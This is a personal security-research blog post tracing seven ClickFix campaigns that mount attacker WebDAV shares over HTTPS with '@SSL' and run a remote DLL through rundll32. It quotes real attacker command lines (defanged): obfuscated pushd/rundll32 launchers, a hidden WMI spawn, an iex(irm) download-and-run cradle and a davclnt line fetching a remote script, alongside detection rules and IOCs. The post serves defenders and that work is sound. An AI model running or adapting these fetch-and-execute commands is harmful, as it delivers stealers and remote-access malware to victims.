The @SSL Shuffle: One WebDAV Loader Family, Seven Disguises
Seven ClickFix incidents, one primitive: rundll32 executes a remote DLL by ordinal over a WebDAV share mounted via @SSL - fileless, no SMB to block.
The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.
TL;DR
Seven unrelated-looking incidents over about four weeks all resolve to the same Windows primitive: append
@SSLto a WebDAV hostname and the WebClient service mounts it over HTTPS instead of SMB, thenrundll32 <file>,#1executes a remote DLL by ordinal with nothing written to disk. The launcher (WMI,forfiles,conhost --headless,pcalua), the payload filename (pf.ch->gc.key->goog.ct), and the delivery mechanism (a jsDelivr cache trick, then EtherHiding config stored on a BNB testnet smart contract) all rotated. The@SSLtransport never did. One sibling chain (davclnt.dll,DavSetCookie) reaches the same transport through a different Microsoft binary and drops five RATs at once.If this is your fleet, do these first:
- Disable the WebClient service on workstations that don’t need WebDAV - this single control breaks every variant below.
- Alert on
rundll32.execommand lines containing,#1where the module path sits on a UNC/WebDAV drive, or that make outbound 443 connections.- Treat
pcalua.exe,forfiles.exe,conhost.exe --headless, anddavclnt.dll,DavSetCookieas one interchangeable LOLBin family, not four separate signatures.Full IOC table and detection logic at the bottom - the linked detections repo has every hash, host, GUID, contract, and wallet.
Same trick, new hat, every couple of weeks
Over about four weeks this winter, seven separate samples landed on my desk that all did the same strange thing near the end of their chain: they mounted a remote share written as \\some-host@SSL\a-big-guid, and then ran rundll32 something,#1 against a file sitting on it. No download prompt, no file written to disk, no SMB traffic to block. Just a signed Windows binary reaching out over HTTPS and executing a DLL that never touched the filesystem.
Individually, each of these looked like “another ClickFix incident.” Put side by side, they’re clearly one evolving toolkit - and watching what changed between them is far more useful than any single write-up. The launcher rotated. The payload filename rotated. The delivery mechanism rotated all the way from a CDN cache trick to smuggling C2 configuration inside blockchain smart contracts. The one thing that never changed was the @SSL WebDAV primitive in the middle.
So this isn’t a single-incident post. It’s a field report on a technique I keep seeing, the variations I’ve catalogued, what each stage actually does, and - honestly - where I kept hitting a wall. If you run a Windows fleet, there’s a single control near the end that breaks the whole family, and I’ll get to it.
Let’s dig in.
The attack at a glance
Strip away which incident you’re looking at and the shape is always the same: a lure gets a victim to paste one line into Windows, and that line ends in a WebDAV mount that never touches disk. Six of the seven chains below run this exact sequence; the seventh reaches the same transport through a different binary.
1
2
3
4
5
6
7
8
9
Fake "verify you are human" ClickFix page
-> victim pastes command into Win+R and hits Enter
-> hidden LOLBin launcher (WMI / forfiles / conhost --headless / pcalua)
-> delivery stage fetches or decodes the pushd command
(jsDelivr cache-after-delete, or an EtherHiding smart-contract read)
-> pushd \\host@SSL\GUID mounts WebDAV over HTTPS (443, not SMB 445)
-> rundll32 <file>,#1 executes the remote DLL by ordinal, no disk write
-> multi-layer native unpacker decrypts the real payload in memory
-> info-stealer/RAT-class implant (unconfirmed past this point for most)
The sibling (incident 7) skips the pushd/rundll32 combo and reaches @SSL through davclnt.dll,DavSetCookie instead - same transport, different door, five RATs on the other side.
The one primitive to understand: @SSL
Everything in this post hangs off one piece of Windows plumbing, so it’s worth thirty seconds up front.
Windows has a WebDAV redirector - the WebClient service - that lets you treat a remote WebDAV server as if it were a file share. Normally you’d see UNC paths like \\server\share. But the redirector accepts a special suffix: append @SSL (optionally @SSL@443) to the hostname and it mounts the share over HTTPS instead of SMB:
1
\\hcwjcope[.]poundbahis[.]com@SSL@443\ff679d78-ec48-498c-89f3-d5b024edd1a3
That single string does a lot of work for an attacker:
- It’s fileless. The DLL is read straight off the WebDAV server into the loader. Nothing is written to the victim’s disk, so there’s no download, no Mark-of-the-Web prompt, and nothing for a file-based scanner to catch.
- It’s a signed-binary launch. The actual execution is done by
rundll32.exe(ordavclnt.dll), both Microsoft-signed. The malicious DLL rides in as a data argument. - It sails past your SMB egress rules. Everyone blocks outbound 445 to stop classic WebDAV/UNC abuse.
@SSLmoves the whole thing to 443, where it looks like ordinary web traffic.
Master that mental model and the seven incidents below are just variations on “get a victim to run a command that ends in @SSL + rundll32 ...,#1.”
The family tree
Six of the seven use the pushd \\...@SSL\GUID + rundll32 <file>,#1 pattern - one interchangeable loader with rotating parts. The seventh reaches the same @SSL transport through a completely different Microsoft binary. Here’s the whole family at a glance:
| # | Date | Stage-0 launcher | Payload | Delivery front | Infra theme |
|---|---|---|---|---|---|
| 1 | Jun 25 | WMI Win32_Process.Create (hidden) | pf.ch | jsDelivr cache-after-delete | 1xfa[.]xyz |
| 2 | Jun 27 | forfiles.exe LOLBIN | pf.ch | jsDelivr / Tedy324 repo | sabad724[.]bio |
| 3 | Jul 03 | conhost.exe --headless | pf.ch | RunMRU ClickFix | 1xgame[.]bet |
| 4 | Jul 14 | pcalua.exe (optional) | gc.key | EtherHiding (BSC testnet) | betwanaa / .bet |
| 5 | Jul 21 | pcalua / WMI | gc.key | EtherHiding (BSC testnet) | hieliao-app[.]com |
| 6 | Jul 21 | conhost.exe --headless | goog.ct | Fake-Google “goog” front | poundbahis + .hu |
| 7 | Jul 03 | rundll32 davclnt.dll,DavSetCookie | remote .wsf -> 5 RATs | Cloudflare Quick Tunnel | DuckDNS |
Three evolutions jump out. The payload filename marched pf.ch -> gc.key -> goog.ct. The launcher cycled through WMI, forfiles, conhost --headless, and pcalua - four different signed binaries doing the exact same job. And the delivery grew up fast, from a clever CDN trick to full-blown blockchain C2.
Incident 4 already got its own full write-up when I caught the operator rotating a live C2 domain mid-investigation - see Another day, another 1,738 compromised websites if you want that deep dive. It’s included in the table above for completeness, but this post’s job is the other six, and what ties all seven together.
How it works
Stage 0 - get the victim to paste the command
Every one of these is a ClickFix lure: a compromised or malicious web page shows a fake “I’m not a robot” / “verify you are human” checkbox, and when the victim clicks it, JavaScript quietly copies a command to their clipboard and tells them to press Win+R, paste, and hit Enter. I’ve got the receipts for the Run-dialog route too - one incident left the pasted command sitting in HKCU\...\Explorer\RunMRU.
The command itself is obfuscated with cmd’s delayed-expansion so it doesn’t read as anything obvious at a glance:
1
conhost.exe --headless --inheritcursor --width 80 --height 30 -- cmd /v:on /c "set a=pu&set b=shd&set c=run&set d=dll32&for %x in (!a!!b!) do @%x \\mbumias[.]1xgame[.]bet@SSL@443\b4592421-fcfc-44b1-8d11-72aec0e14844 & !c!!d! pf.ch,#1"
Reassemble the pieces - a=pu, b=shd, c=run, d=dll32 - and !a!!b! is pushd, !c!!d! is rundll32. So it decodes to just:
1
2
pushd \\mbumias[.]1xgame[.]bet@SSL@443\b4592421-fcfc-44b1-8d11-72aec0e14844
rundll32 pf.ch,#1
The conhost.exe --headless prefix is a nice touch - it runs the console completely hidden, so the victim never sees a command window flash. In other incidents that hider was WMI with ShowWindow=0, or pcalua.exe, or forfiles.exe. Same purpose, different signed binary. Here’s the WMI variant, which is genuinely tidy:
1
2
3
4
5
$s = ([wmiclass]'Win32_ProcessStartup').CreateInstance()
$s.ShowWindow = 0 # SW_HIDE - no window
([wmiclass]'Win32_Process').Create(
'cmd /c pushd \\euphemism[.]1xfa[.]xyz@SSL\2ffc4ddb-7b9c-44cb-b774-bf347ec8c2d2 & rundll32 pf.ch,#1',
$null, $s)
Stage 1 - how the command got there (the delivery arms race)
This is where the family really shows its age, because the delivery method changed three times.
jsDelivr cache-after-delete (incidents 1-2). The earliest ones fetched their PowerShell stage from the jsDelivr CDN, which mirrors GitHub repos:
1
powershell -WI 1 -nop -c iex(irm cdn[.]jsdelivr[.]net/gh/swiftvpnaccess/wanting-public-driver-barricade/256446-uuid)
The clever bit: the operator stages the file on GitHub, lets jsDelivr cache it, then deletes it from GitHub. The raw GitHub URL 404s and the repo looks clean, but jsDelivr keeps serving the cached copy - victims still get the payload from a trusted, allow-listed CDN. Incident 2 wrapped this in a forfiles.exe LOLBIN so the browser wasn’t the parent of PowerShell, and rebuilt the word powershell from set p=pow & set e=ershe & set l=ll & !p!!e!!l! for good measure.
EtherHiding on a blockchain testnet (incidents 4-5). The most recent - and most interesting - variants don’t host their configuration anywhere you can seize. A compromised WordPress site carries an injected loader that makes a read-only eth_call to a smart contract on the BNB Smart Chain testnet, pulling its next stage out of the contract’s storage:
1
2
3
RPC: hxxps://bsc-testnet-rpc[.]publicnode[.]com
get(): selector 0x6d4ce63c -> returns base64 -> eval()
owner(): selector 0x8da5cb5b -> pivots contract -> operator wallet
Testnet is a deliberate choice: reads cost no gas and the public RPC needs no authentication, so the C2 “config store” is free to run and has no server to take down. There’s an OS branch (a Windows contract, a macOS contract) and even a per-victim tracking contract that the fake-CAPTCHA page polls once a second to mark a click as “done.” I’ll come back to why this is a gift for enumeration.
Stage 2 - the WebDAV mount and the ordinal call
However the command arrives, the business end is identical: pushd onto the @SSL UNC path, which quietly starts the WebClient service and mounts the attacker’s WebDAV server over TLS as a temporary drive, then rundll32 <file>,#1 executes export ordinal #1 of the remote DLL. Calling by ordinal rather than name is a small anti-analysis flourish - there’s no meaningful function name in the command line to pivot on.
The payload masquerades hard. It’s a DLL, but it’s served with filenames like pf.ch, gc.key, and goog.ct, and handed over with a spoofed Content-Type: application/vnd.apple.keynote. A .ch or .key file “isn’t an executable,” right up until rundll32 runs it.
Stage 3 - the payload (and where I got stuck)
All the pf.ch/gc.key/goog.ct samples share DNA. They’re MinGW-built DLLs with the internal name payload.dll, an ordinal-1 export (EventDebuggerLaunchCallback on the pf.ch builds, hawer on the gc.key build), a nearly empty import table - often just AddVectoredExceptionHandler and a CRT symbol - and their real code encrypted in high-entropy sections. A tiny stub registers a Vectored Exception Handler (a low-level Windows hook that lets code intercept a CPU exception before Windows’ own handler sees it), deliberately triggers a fault to route execution through that handler, then uses VirtualProtect (the API that flips a memory page from read-only to executable) to decrypt the payload into memory and resolve its real APIs at runtime. It’s a classic runtime-unpacking crypter move: never call an obvious “decrypt” function that a behavioural scanner could flag - let a CPU exception do the jump for you instead.
I got furthest on the gaeyeinstitute gc.key build, and it was a proper onion. Three native layers before you even reach the real executable:
- A DWORD-substitution decoder - a 256-entry lookup table and ~648,000 tokens, each output byte being the index of a matching table entry. It’s a substitution cipher, not an arithmetic one - there’s no XOR key or RC4 stream for an automated decryptor tool to brute-force, just a table to walk one entry at a time.
- A self-modifying anti-emulation delay loop - about 16.7 million iterations per byte of pure, provably result-invariant CPU burn, there purely to make a sandbox time out.
- A rolling-XOR block decoder over 0x20-byte blocks, terminating on the constant
0xea38ea38, then ajmp eaxstraight into the decrypted code rather than acall- no return address left on the stack pointing back at the decryptor, which is one less thing for an EDR stack-walk to catch.
I rebuilt layers 1 and 3 in Python and drove the stub through Unicorn (a CPU emulator library - it executes the raw instructions but doesn’t give you a real Windows process around them), hooking the delay loop to short-circuit it, and recovered a valid 32-bit .text section. And then… I hit the wall. The final executable’s .rdata and .data - where the config, the C2, and anything that would name the family live - stayed encrypted, because that last decoder needs things a bare emulator doesn’t provide: a real PEB/TEB (the bookkeeping structures Windows sets up when a program actually runs), a working GetProcAddress (the API malware calls at runtime to look up which Windows function it wants, instead of hardcoding an address that static analysis would spot), and a real VirtualAlloc (to reserve fresh executable memory) - all of which only exist once the sample is running as an actual process, not just emulated instructions on a flat memory map. Statically, it’s “infostealer- or RAT-class” by shape, and that’s as far as I’ll honestly go.
The others I couldn’t even get bytes for. WebDAV subdomains in this family are torn down within minutes of a live incident, so by the time I went looking the hosts were NXDOMAIN or throwing Cloudflare 1016s. For goog.ct I never retrieved a single byte of the payload - and a file in that folder called WindowsSecurityUpdate.exe turned out to be, delightfully, a saved copy of GitHub’s own 404 page (the operator’s CeoXBlackhat/mh repo was already gone). So: the loader mechanics are nailed down across all six; the final implant is genuinely unresolved. I’d rather tell you that than pretend otherwise.
The sibling: same transport, different binary (incident 7)
One incident used the @SSL transport but reached it through a different Microsoft binary entirely - davclnt.dll, the WebDAV client itself, abused as a LOLBIN to fetch and run a remote script:
1
rundll32.exe C:\WINDOWS\system32\davclnt.dll,DavSetCookie karaoke-certification-aye-porter[.]trycloudflare[.]com@SSL hxxps://karaoke-certification-aye-porter[.]trycloudflare[.]com/oka/PhMar26.wsf
This is the SERPENTINE#CLOUD chain (good prior public work on it by the researcher at derp.ca). It pulls a .wsf script over an ephemeral Cloudflare Quick Tunnel, which unrolls into embedded Python, Kramer-obfuscated .pyc payloads, Donut shellcode, and ultimately five RATs at once - VenomRAT, AsyncRAT, XWorm/Violet, PureHVNC, and Brute Ratel C4. I’m including it because it makes the central point of this whole post: the @SSL WebDAV transport is the reusable idea, and different crews are bolting different chains onto it. The worrying twist in my incident was that the rundll32/davclnt command ran as SYSTEM, not as a user - which means the real question isn’t the RATs, it’s what SYSTEM-level parent (an RMM agent? a scheduled task?) kicked it off.
Techniques observed (MITRE ATT&CK)
The following techniques have been mapped to MITRE ATT&CK for future reference.
| Tactic | Technique | ATT&CK ID | What it did here |
|---|---|---|---|
| Initial Access / Execution | User Execution: Malicious Copy-Paste (ClickFix) | T1204.004 | Fake-CAPTCHA page copies a command; victim pastes into Run |
| Execution | Command & Scripting: PowerShell | T1059.001 | iex(irm ...) cradle; WMI process creation |
| Execution | Command & Scripting: Windows Command Shell | T1059.003 | cmd /v:on delayed-expansion string rebuild |
| Execution | Command & Scripting: Visual Basic / JScript (WSF) | T1059.005 / .007 | .wsf loader (davclnt variant); JS lure logic |
| Execution | Windows Management Instrumentation | T1047 | Win32_Process.Create hidden-window spawn |
| Defense Evasion | System Binary Proxy Execution: Rundll32 | T1218.011 | rundll32 <file>,#1 ordinal call of remote DLL |
| Defense Evasion | System Binary Proxy Execution (pcalua / forfiles / conhost / davclnt) | T1218 / T1216 | Signed binaries proxy the launch |
| Command & Control | Ingress Tool Transfer over WebDAV/HTTPS | T1105 | @SSL UNC mount pulls the DLL filelessly |
| Command & Control | Web Service: Dead Drop Resolver (EtherHiding) | T1102.001 | Config read from a blockchain smart contract |
| Defense Evasion | Deobfuscate/Decode + Reflective Loading | T1140 / T1620 | Multi-layer native unpack in memory |
| Defense Evasion | Process Injection: Early-Bird APC (davclnt chain) | T1055.004 | BRc4 injects PureHVNC into notepad.exe |
Why this matters
Strip away the novelty and this is a fileless, signed-binary code-execution delivery system that defeats three common controls at once: file-based AV (no file lands), SMB egress filtering (it’s on 443), and Mark-of-the-Web (nothing is downloaded in the browser’s sense). The final payloads I could class at all looked like info-stealers or RATs, and the sibling chain drops five remote-access tools together - so a successful run realistically means credential theft or a persistent foothold, and in my SYSTEM-level incident, that foothold would have inherited SYSTEM.
The EtherHiding variants raise the stakes on the C2 side. When the configuration lives in a smart contract on a public testnet, there’s no server to seize and no domain to sinkhole - the operator just updates a storage slot for a few cents. Traditional takedown doesn’t apply. What does still apply is the victim’s own Windows plumbing, which is the good news.
What defenders can do
Here’s the thing about this whole family: for all the rotating launchers and blockchain cleverness, it has an unusually clean choke point. The @SSL mount cannot happen without the WebClient service. Disable that, and every pushd \\...@SSL\ in this post fails to fetch its DLL. Start there.
| Technique (ATT&CK) | What to do | Essential Eight | What to hunt for |
|---|---|---|---|
| WebDAV-over-HTTPS transport (T1105) | Disable/deny the WebClient service on workstations that don’t need WebDAV | User Application Hardening* | WebClient service transitioning to Running; svchost -s WebClient; outbound 443 from rundll32 |
| Rundll32 ordinal proxy exec (T1218.011) | App-control rundll32 so it can’t run modules from UNC/WebDAV paths | Application Control | rundll32 *,#1 with a module on a mapped/WebDAV drive |
| LOLBin launchers (T1218 / T1216) | Treat pcalua, forfiles, conhost --headless, davclnt.dll,DavSetCookie as one detection family | Application Control | Any of these spawning cmd/rundll32; davclnt.dll+DavSetCookie in a command line |
| ClickFix paste (T1204.004) | User-education on the Run-dialog trick; monitor the RunMRU key | No clean E8 home - user awareness + monitoring | HKCU\...\Explorer\RunMRU values containing @SSL / pushd / ,#1 |
| PowerShell cradle (T1059.001) | Constrained Language Mode; block .ps1 from user-writable paths | Application Control; Securing PowerShell | Script Block Logging (Event ID 4104) with irm/iex/@SSL |
| EtherHiding / web-service C2 (T1102.001) | Default-deny egress; block/flag blockchain RPC endpoints from user hosts | No clean E8 home - network architecture | Outbound to *.publicnode[.]com and other public RPCs from workstations |
*T1105 is usually filed under Application Control (block the transferred tool from running). I’m filing it under User Application Hardening here instead, because the control that actually breaks this family isn’t “don’t let the DLL execute” - it’s “don’t let the transport exist in the first place.” Disabling an unnecessary WebDAV redirector fits the same shape as disabling Flash or Java in a browser, which is squarely User Application Hardening territory.
Kill the transport (WebClient). This is the single highest-value action. Most user workstations never need the WebDAV redirector. Set the WebClient service to Disabled (or leave it manual-start and deny the trigger) via GPO, and the @SSL mount simply can’t be established - no DLL, no execution, for the whole rundll32 ...,#1 family and the davclnt sibling. This sits under User Application Hardening; the requirement lives in the ISM Guidelines for System Hardening (June 2025) rather than a standalone publication. If you can’t disable it fleet-wide, at minimum alert on the WebClient service starting on hosts where it’s normally dormant - that state change is a strong, low-noise signal.
Constrain the LOLBin launchers as one family. The lesson from seven incidents is that pcalua.exe, forfiles.exe, conhost.exe --headless, and rundll32 davclnt.dll,DavSetCookie are interchangeable slots for the same job - a textbook case of LOLBins and living-off-the-land tradecraft, where trusted Windows components get repurposed to stage or execute someone else’s payload. Don’t write four separate signatures; treat “signed Windows binary -> cmd -> pushd @SSL -> rundll32” as one behavioural chain. This is core Application Control territory - see Implementing Application Control (November 2023) - and the highest-fidelity single detection is any rundll32 invocation whose module sits on a WebDAV/UNC path and is called by ordinal (,#1).
Squeeze the PowerShell delivery. The jsDelivr variants live and die by iex(irm ...). Constrained Language Mode blocks the .NET surface these cradles lean on, and blocking .ps1 execution from user-writable paths bites regardless of where the content came from - see Securing PowerShell in the Enterprise (October 2021). Even if you can’t prevent it, Script Block Logging (Event ID 4104) records the decoded command, so the @SSL string and the irm cradle are sitting right there in your logs.
Filter egress, including the weird stuff. The @SSL mount is outbound 443 from rundll32.exe - a process that has no business making web requests - and the EtherHiding variants beacon to public blockchain RPC endpoints like bsc-testnet-rpc[.]publicnode[.]com. Neither has a clean Essential Eight home; both are a network-architecture problem. Default-deny egress with a proxy, and flag (or block) blockchain RPC endpoints and newly-registered domains from user subnets. A workstation talking to a BSC testnet RPC is not doing anything a normal user does.
Watch the Run dialog. ClickFix is user-driven, so there’s no clean control to “patch” - but the pasted command leaves a fingerprint. Monitor HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU for values containing @SSL, pushd, conhost --headless, or ,#1. That key is a genuinely underused detection surface for this whole delivery style.
Hunting and detection summary
Straight-to-tooling list, pulled from the section above:
- WebClient service transitioning to Running on a host where it’s normally stopped (the earliest and cleanest signal).
rundll32.exewith a command line containing,#1and a module path on a UNC/WebDAV/mapped drive, or making an outbound 443 connection.pushd \\*@SSL*or\\*@SSL@443\*anywhere in process command lines.conhost.exe --headless->cmd->rundll32process lineage; likewisepcalua.exe/forfiles.exeparents.rundll32.exe ... davclnt.dll,DavSetCookie- near-zero false positives, alert outright.WmiPrvSE.exespawningcmd.exewithpushd/@SSLin the arguments.- Script Block Logging (Event ID 4104) containing
iex,irm,cdn[.]jsdelivr[.]net/gh/, or@SSL. RunMRUregistry values containing@SSL,pushd,,#1, orconhost --headless.- Outbound connections from workstations to public blockchain RPC endpoints (e.g.
*.publicnode[.]com). - urlscan pivots for triage:
filename:pf.ch,filename:goog.ct,filename:"gc.key"(mind the false positives - legitimate Swiss-pf.chdomains are not C2).
Detection artefacts for this campaign are available in the BlueTeamCoolTeam/detections repository under
campaigns/webdav-over-ssl-loader-family/. The folder includes Sigma rules, IOC CSV, and KQL queries for Sentinel and Defender XDR covering all seven incidents.
Indicators of Compromise
The headline indicators are below; the detections repo linked above has the exhaustive set. Cloudflare edge IPs are deliberately omitted from the “block” list - they’re shared anycast, not attacker origin.
| Type | Indicator | Notes |
|---|---|---|
| SHA256 | 1497f9320728557f034ba168ce6393b39ac6b276b9330027b31b62705e25ca5f | pf.ch, 14.4 MB (incident 1) |
| SHA256 | dede16185618cb29f0c03ab086bcfeed64eeb356bb846a4140d73fe020127e50 | pf.ch, 14 MB, MinGW GCC 10.3.0 (incident 2) |
| SHA256 | 00a19cc54a534e570e2282aa192d9aed7922441c37e8ed98facb719e3b9e9d8b | jsDelivr stage-1 PowerShell (incident 2) |
| SHA256 | f11057ab58bef936d98ba189829c64260a6a540cdaa046f93613138e820c98c6 | gc.key, PE32+ DLL (incident 4) |
| SHA256 | 1c135ee1c61b00156ad234569d9f65f5e50d524b8dba862abe45af8f67d1a216 | gc.key, 5.84 MB, MinGW, export hawer (incident 5) |
| Filename | pf.ch / gc.key / goog.ct | DLLs, spoofed application/vnd.apple.keynote |
| Export | EventDebuggerLaunchCallback (ord #1) · hawer (ord #1) | Loader entry points |
| Domain | 1xfa[.]xyz, sabad724[.]bio, 1xgame[.]bet, betwanaa[.]com, boroo[.]bet, 1bet1yek[.]bet, hieliao-app[.]com, highkickstkd[.]com, poundbahis[.]com | WebDAV C2 apexes |
| GitHub | swiftvpnaccess/wanting-public-driver-barricade, Tedy324/vlan44-nginx, CeoXBlackhat/mh | jsDelivr / EXE staging (all removed) |
amik.grot[@]proton[.]me | Operator (incident 1 GitHub) | |
| Contract | 0xA1decFB75C8C0CA28C10517ce56B710baf727d2e and siblings | BSC-testnet EtherHiding C2 storage |
| Wallet | 0xd71f4cdc84420d2bd07f50787b4f998b4c2d5290 | Primary operator wallet (nonce ~516,826) |
| RPC | bsc-testnet-rpc[.]publicnode[.]com | EtherHiding read endpoint |
| C2 | *.duckdns[.]org on 12.202.176[.]0/21 (AS7018) | SERPENTINE#CLOUD RAT C2 (incident 7) |
Closing
If you take one thing from this: the flashy parts - the blockchain C2, the CDN cache trick, the rotating LOLBins - are the parts you can’t easily stop. The part you can stop is the boring one in the middle. Disable the WebClient service on machines that don’t need it and this entire family, in all seven of its disguises, loses its legs. I love that the answer to a blockchain-backed, fileless, signed-binary loader is a checkbox in a service configuration.
I still don’t know exactly what the final gc.key payload does, and that bugs me - dynamic detonation in a proper mapped environment is the obvious next step, and I’ll come back to it when I can catch a live sample before its subdomain evaporates. If you’ve pulled bytes off one of these before it died, I’d genuinely love to compare notes.
Stay curious, and go check whether WebClient is running on your fleet.
On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.
References
- MITRE ATT&CK: T1218.011 Rundll32, T1204.004 Malicious Copy and Paste, T1105 Ingress Tool Transfer, T1102.001 Dead Drop Resolver, T1059.001 PowerShell
- ASD/ACSC: Implementing Application Control (November 2023); Securing PowerShell in the Enterprise (October 2021); ISM Guidelines for System Hardening (June 2025) - Essential Eight overview
- SERPENTINE#CLOUD was originally disclosed by Securonix (June 2025). This incident’s
rundll32/davclntvariant lines up closely with derp.ca’s follow-up, SERPENTINE#CLOUD returns: ClickFix lure drops five RATs (April 2026). - Related BTCT post: Another day, another 1,738 compromised websites (incident 4 deep dive)